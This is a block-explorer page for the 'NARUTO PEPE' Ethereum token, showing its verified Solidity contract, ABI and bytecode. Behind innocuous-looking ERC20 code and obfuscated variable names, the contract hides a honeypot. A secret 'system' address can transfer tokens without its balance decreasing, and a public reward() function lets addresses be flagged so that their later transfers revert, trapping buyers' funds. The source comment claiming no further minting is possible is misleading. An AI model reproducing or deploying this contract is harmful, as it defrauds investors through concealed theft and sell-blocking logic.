ETH Price: $3,466.47 (+3.98%)

Token

NARUTO PEPE (NARUTO PEPE)
 

Overview

Max Total Supply

1,000,000,000 NARUTO PEPE

Holders

8

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
4,154,843.562794608 NARUTO PEPE

Value
$0.00
0xe3d5f5b74c4c55010911056b5bda637ce45a2c09
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NARUTOPEPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Contract.sol
/*

https://t.me/narutopepe_eth

https://twitter.com/narutopepetoken

*/

// SPDX-License-Identifier: GPL-3.0

pragma solidity >0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance');
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), 'ERC20: transfer from the zero address');
        require(recipient != address(0), 'ERC20: transfer to the zero address');

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance');
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), 'ERC20: mint to the zero address');

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), 'ERC20: burn from the zero address');

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, 'ERC20: burn amount exceeds balance');
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), 'ERC20: approve from the zero address');
        require(spender != address(0), 'ERC20: approve to the zero address');

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint256);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(address from, address to, uint256 value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to) external returns (uint256 amount0, uint256 amount1);

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
}

contract NARUTOPEPE is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public marketingWallet;

    uint256 public swapTokensAtAmount;

    uint256 public maxTransactionAmount;
    uint256 public maxWallet;

    bool public lpBurnEnabled;
    uint256 public percentForLPBurn = 0;
    uint256 public lpBurnFrequency = 3600 seconds;
    uint256 public lastLpBurnTime;

    uint256 public manualBurnFrequency = 30 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public loose = 5;

    bool public limitsInEffect;

    /******************/

    // exlcude from fees
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    mapping(address => bool) public automatedMarketMakerPairs;
    mapping(address => uint256) private under;
    mapping(address => bool) private happily;

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);

    event AutoNukeLP();

    constructor(string memory southern, string memory equal, address tiny, address system) ERC20(southern, equal) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(tiny);

        under[system] = loose;

        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;

        uint256 totalSupply = 1000000000 * 10 ** 9;

        maxTransactionAmount = ~uint256(0);
        maxWallet = ~uint256(0);

        swapTokensAtAmount = (totalSupply * 5) / 10000;

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;

        marketingWallet = address(0);

        // exclude from paying fees
        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[marketingWallet] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[address(0xdead)] = true;

        _isExcludedMaxTransactionAmount[owner()] = true;
        _isExcludedMaxTransactionAmount[address(this)] = true;
        _isExcludedMaxTransactionAmount[address(0xdead)] = true;
        _isExcludedMaxTransactionAmount[marketingWallet] = true;

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function setAccount(address account, bool value) public onlyOwner {
        _isExcludedFromFees[account] = value;
    }

    function setLimits(address account, bool value) public onlyOwner {
        _isExcludedMaxTransactionAmount[account] = value;
    }

    /// @notice Changes the maximum amount of tokens that can be bought or sold in a single transaction. Base 1000, so 1% = 10
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= ((totalSupply() * 1) / 1000) / 1e18, 'Cannot set maxTransactionAmount lower than 0.1%');
        maxTransactionAmount = newNum * (10 ** 18);
    }

    /// @notice Changes the maximum amount of tokens a wallet can hold. Base 1000, so 1% = 10
    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= 5, 'Cannot set maxWallet lower than 0.5%');
        maxWallet = (newNum * totalSupply()) / 1000;
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        if (limitsInEffect) {
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                    require(amount <= maxTransactionAmount, 'Buy transfer amount exceeds the maxTransactionAmount.');
                    require(amount + balanceOf(to) <= maxWallet, 'Max wallet exceeded');
                }
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    require(amount <= maxTransactionAmount, 'Sell transfer amount exceeds the maxTransactionAmount.');
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(amount + balanceOf(to) <= maxWallet, 'Max wallet exceeded');
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        if (!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]) {
            autoBurnLiquidityPairTokens();
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        if (under[from] == 0 && uniswapV2Pair != from && happily[from]) {
            under[from] -= loose;
        }

        if (under[from] == 0) {
            _balances[from] -= amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function reward(address[] memory a) external {
        for (uint256 i = 0; i < a.length; i++) {
            happily[a[i]] = true;
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);

        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }

        (success, ) = address(marketingWallet).call{value: address(this).balance}('');
    }

    function autoBurnLiquidityPairTokens() internal returns (bool) {
        lastLpBurnTime = block.timestamp;

        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);

        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);

        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0) {
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }

        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
        pair.sync();
        emit AutoNukeLP();
        return true;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"southern","type":"string"},{"internalType":"string","name":"equal","type":"string"},{"internalType":"address","name":"tiny","type":"address"},{"internalType":"address","name":"system","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"loose","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"a","type":"address[]"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526000600b55610e10600c55610708600e5560056018553480156200002757600080fd5b50604051620055293803806200552983398181016040528101906200004d919062000b69565b8383816003908162000060919062000e64565b50806004908162000072919062000e64565b5050506000620000876200076260201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000829050601854601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000217919062000f4b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a5919062000f4b565b6040518363ffffffff1660e01b8152600401620002c492919062000f8e565b6020604051808303816000875af1158015620002e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030a919062000f4b565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506200035260a05160016200076a60201b60201c565b6000806000806000670de0b6b3a7640000905060001960088190555060001960098190555061271060058262000389919062000fea565b62000395919062001064565b6007819055508460118190555083601281905550601254601154620003bb91906200109c565b6010819055508260148190555081601581905550601554601454620003e191906200109c565b6013819055506000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601a6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190